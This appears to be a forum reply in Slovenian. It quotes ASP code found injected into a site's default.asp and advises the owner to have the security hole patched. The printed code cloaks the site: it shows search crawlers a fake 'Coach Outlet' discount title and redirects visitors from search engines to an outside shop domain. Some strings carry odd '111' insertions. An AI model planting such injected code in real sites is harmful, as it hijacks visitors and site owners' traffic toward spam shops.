V default.asp si imel vrinjeno tole kodo:
<%
dim ua
ua = Request.ServerVariables("HTTPUSERAGENT")
ua = LCase(ua)
Dim fname(7),i
fname(0) = "Googlebot"
fname(1) = "Baidu111spider"
fname(2) = "Yahoo! Slurp"
fname(3) = "Yodao111Bot"
fname(4) = "msnbot"
fname(5) = "111bot"
fname(6) = "crawl"
fname(7) = "111spider"
Dim spider
spider = 0
For i = 0 to 7
dim j
j = fname(i)
j = LCase(j)
if instr(ua,j)>0 then
spider = 1
end if
Next
if spider<1 then
dim refer
refer = Request.ServerVariables("Http_Referer")
refer = LCase(refer)
Dim rname(5),ii
rname(0) = "Google."
rname(1) = "111q=111"
rname(2) = "Yahoo."
rname(3) = "Bing."
rname(4) = "Aol."
rname(5) = "gf111soso."
Dim re
re = 0
For ii = 0 to 5
dim jj
jj = rname(ii)
jj = LCase(jj)
if instr(refer,jj)>0 then
re = 1
end if
Next
if re<1 then
else
Dim u
u = "http://www.coachfactoryshopone.com"
Response.write("<script language=""javascript"" type=""text/javascript"">")
Response.write("self.location=""" & u & """;")
Response.write("</script>")
end if
end if
%>
<html>
<head>
<title><%
if spider>0 then
response.write("56% Discount OFF - Coach OutletŁ¬Coach Outlet OnlineŁ¬Coach Outlet Store ")
end if
%>
Ocitno imas nekje varnostno luknjo, ki jo je potrebno zakrpati, kontaktiraj svojega ponudnika oz. tistega, ki ti je izdeloval spletno stran.